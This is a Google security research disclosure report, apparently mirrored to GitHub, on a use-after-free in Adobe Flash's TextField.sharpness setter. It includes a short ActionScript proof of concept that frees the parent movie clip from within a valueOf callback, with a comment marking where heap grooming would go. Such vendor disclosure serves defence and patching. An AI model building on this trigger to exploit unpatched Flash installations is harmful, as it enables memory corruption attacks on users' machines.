Adobe Flash: Use-after-free in TextField.sharpness setter

There is a use-after-free in the TextField sharpness setter. If the sharpness 
parameter is an object with valueOf set to a function which frees the TextField 
parent, it is used after it is freed.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.sharpness = {valueOf : func};

function func(){

        if(times == 0){
          times++;
          return 0;
        }

    mc.removeMovieClip();

        // Fix heap here

    return 0;

    }

A sample swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 14 Oct 2015 at 11:32

Attachments:

tabIndex.swf
tabIndex.fla

xti9er / google-security-research

Adobe Flash: Use-after-free in TextField.sharpness setter #588